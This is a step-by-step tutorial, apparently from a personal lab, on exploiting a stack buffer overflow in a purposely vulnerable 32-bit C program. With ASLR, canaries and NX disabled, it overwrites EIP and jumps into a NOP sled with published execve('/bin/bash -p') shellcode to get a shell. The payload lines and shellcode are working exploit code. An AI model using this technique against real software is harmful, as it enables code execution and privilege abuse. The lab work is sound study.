┌──(root@ghost)-[/home/ghost]
└─# cat program.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int bof(char *string) {
 
  char buffer[164];
  strcpy(buffer, string);
 
  return 1;
}
 
int main(int argc, char *argv[]) {
 
  bof(argv[1]);
  printf("Done..\n");
 
  return 1;
}

C code program

┌──(root@ghost)-[/home/ghost]
└─# echo 0 > /proc/sys/kernel/randomize_va_space

Before compiling our program we are going to disable ASLR temporary

┌──(root@ghost)-[/home/ghost]
└─# gcc -fno-stack-protector -m32 -z execstack program.c -o program

Compiling

-fno-stack-protector  Disable canaries
-m32                  Compiles program in 32 bits
-z execstack          Makes the stack executable

Compiler parameters

In file included from program.c:1:
/usr/include/stdlib.h:26:10: fatal error: bits/libc-header-start.h: No such file or directory
   26 | #include <bits/libc-header-start.h>
      |          ^~~~~~~~~~~~~~~~~~~~~~~~~~
compilation terminated.

If you get this error you can fix it by installing gcc-multilib

┌──(root@ghost)-[/home/ghost]
└─# file program
program: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=43f01db3dd95f6e697a320cc83c504c46c91cc5b, for GNU/Linux 3.2.0, not stripped

First identify binary's architecture

┌──(root@ghost)-[/home/ghost]
└─# checksec --file=program
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   PIE enabled     No RPATH   No RUNPATH   42 Symbols        No    0               1               program

Then we check binary protections

┌──(root@ghost)-[/home/ghost]
└─# gdb -q ./program                                               
Reading symbols from ./program...
(No debugging symbols found in ./program)
(gdb) run $(python2 -c "print('A'*176 + 'BBBB')")
Starting program: /home/ghost/program $(python2 -c "print('A'*176 + 'BBBB')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0x1                 1
ecx            0xffffd620          -10720
edx            0xffffd2ff          -11521
ebx            0x41414141          1094795585
esp            0xffffd300          0xffffd300
ebp            0x41414141          0x41414141
esi            0x56558eec          1448447724
edi            0xf7ffcb80          -134231168
eip            0x42424242          0x42424242
eflags         0x10282             [ SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) 

Finding the offset

As we can see we are overwriting the stack with A's, returning to EIP and taking EIP register control with the B's, this last is gonna be where our shellcode memory address will be


/*

Title: 	Linux x86 - execve("/bin/bash", ["/bin/bash", "-p"], NULL) - 33 bytes
Author:	Jonathan Salwan
Mail:	submit@shell-storm.org
Web:	http://www.shell-storm.org

!Database of Shellcodes http://www.shell-storm.org/shellcode/


sh sets (euid, egid) to (uid, gid) if -p not supplied and uid < 100
Read more: http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49

sassembly of section .text:

08048054 <.text>:
 8048054:	6a 0b                	push   $0xb
 8048056:	58                   	pop    %eax
 8048057:	99                   	cltd   
 8048058:	52                   	push   %edx
 8048059:	66 68 2d 70          	pushw  $0x702d
 804805d:	89 e1                	mov    %esp,%ecx
 804805f:	52                   	push   %edx
 8048060:	6a 68                	push   $0x68
 8048062:	68 2f 62 61 73       	push   $0x7361622f
 8048067:	68 2f 62 69 6e       	push   $0x6e69622f
 804806c:	89 e3                	mov    %esp,%ebx
 804806e:	52                   	push   %edx
 804806f:	51                   	push   %ecx
 8048070:	53                   	push   %ebx
 8048071:	89 e1                	mov    %esp,%ecx
 8048073:	cd 80                	int    $0x80

*/

#include <stdio.h>

char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
		   "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
		   "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
		   "\x51\x53\x89\xe1\xcd\x80";

int main(int argc, char *argv[])
{
       	fprintf(stdout,"Length: %d\n",strlen(shellcode));
	(*(void(*)()) shellcode)();       
}

We are going to use this x86 bits, 33 bytes long shellcode https://shell-storm.org/shellcode/files/shellcode-606.html

┌──(root@ghost)-[/home/ghost]
└─# echo $((176-33))
143

Knowing that our shellcode is 33 bytes long, we substract offset and shellcode length

...

(gdb) run $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ghost/program $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x56556100 in register_tm_clones ()
(gdb) run $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80' + 'BBBB')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ghost/program $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80' + 'BBBB')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) 

We change A's by NOP codes (\x90), place our shellcode and check that EIP is under our control

...
(gdb) x/300wx $esp

0xffffd460:     0xffffdf77      0xffffdf8c      0xffffdfa4      0xffffdfb9
0xffffd470:     0xffffdfcf      0xffffdfd8      0x00000000      0x00000020
0xffffd480:     0xf7fc7550      0x00000021      0xf7fc7000      0x00000033
0xffffd490:     0x000006f0      0x00000010      0x178bfbff      0x00000006
0xffffd4a0:     0x00001000      0x00000011      0x00000064      0x00000003
0xffffd4b0:     0x56555034      0x00000004      0x00000020      0x00000005
0xffffd4c0:     0x0000000b      0x00000007      0xf7fc9000      0x00000008
0xffffd4d0:     0x00000000      0x00000009      0x56556070      0x0000000b
0xffffd4e0:     0x00000000      0x0000000c      0x00000000      0x0000000d
0xffffd4f0:     0x00000000      0x0000000e      0x00000000      0x00000017
0xffffd500:     0x00000000      0x00000019      0xffffd53b      0x0000001a
0xffffd510:     0x00000002      0x0000001f      0xffffdfe4      0x0000000f
0xffffd520:     0xffffd54b      0x00000000      0x00000000      0x00000000
0xffffd530:     0x00000000      0x00000000      0xaa000000      0x78e2d623
0xffffd540:     0xe7f46301      0xe2e60a58      0x692f7345      0x00363836
0xffffd550:     0x00000000      0x00000000      0x6f682f00      0x672f656d
0xffffd560:     0x74736f68      0x6f72702f      0x6d617267      0x90909000
0xffffd570:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd580:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd590:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd5a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd5b0:     0x90909090      0x90909090      0x90909090      0x90909090                                                                                                                         
0xffffd5c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd5d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd5e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd5f0:     0x90909090      0x90909090      0x90909090      0x99580b6a
0xffffd600:     0x2d686652      0x52e18970      0x2f68686a      0x68736162
0xffffd610:     0x6e69622f      0x5152e389      0xcde18953      0x42424280
0xffffd620:     0x4f430042      0x54524f4c      0x3d4d5245      0x65757274
0xffffd630:     0x6f6c6f63      0x49440072      0x414c5053      0x303a3d59
0xffffd640:     0x4c00302e      0x3d474e41      0x555f6e65      0x54552e53
0xffffd650:     0x00382d46      0x474e414c      0x45474155      0x4150003d
0xffffd660:     0x2f3d4854      0x2f727375      0x61636f6c      0x62732f6c
0xffffd670:     0x2f3a6e69      0x2f727375      0x61636f6c      0x69622f6c
0xffffd680:     0x752f3a6e      0x732f7273      0x3a6e6962      0x7273752f
0xffffd690:     0x6e69622f      0x62732f3a      0x2f3a6e69      0x3a6e6962
0xffffd6a0:     0x7273752f      0x636f6c2f      0x672f6c61      0x73656d61
0xffffd6b0:     0x73752f3a      0x61672f72      0x0073656d      0x4d524554
0xffffd6c0:     0x6574783d      0x322d6d72      0x6f633635      0x00726f6c
0xffffd6d0:     0x54554158      0x49524f48      0x2f3d5954      0x656d6f68
0xffffd6e0:     0x6f68672f      0x2e2f7473      0x74756158      0x69726f68
0xffffd6f0:     0x4c007974      0x4f435f53      0x53524f4c      0x3d73723d
0xffffd700:     0x69643a30      0x3b31303d      0x6c3a3433      0x31303d6e
0xffffd710:     0x3a36333b      0x303d686d      0x69703a30      0x3b30343d
0xffffd720:     0x733a3333      0x31303d6f      0x3a35333b      0x303d6f64
0xffffd730:     0x35333b31      0x3d64623a      0x333b3034      0x31303b33
...
(gdb) 

Now we are finding where our NOP's are to take an approximate memory address before our shellcode is. Our shellcode starts in 0xffffd5f0 address so we are gonna take a bit higher in 0xffffd5a0 and convert it to little-endian

...

(gdb) run $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80' + '\xa0\xd5\xff\xff')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ghost/program $(python2 -c "print('\x90'*143 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80' + '\xa0\xd5\xff\xff')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 32641 is executing new program: /usr/bin/bash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after fork from child process 32643]
[Detaching after fork from child process 32644]
root@ghost:/home/ghost#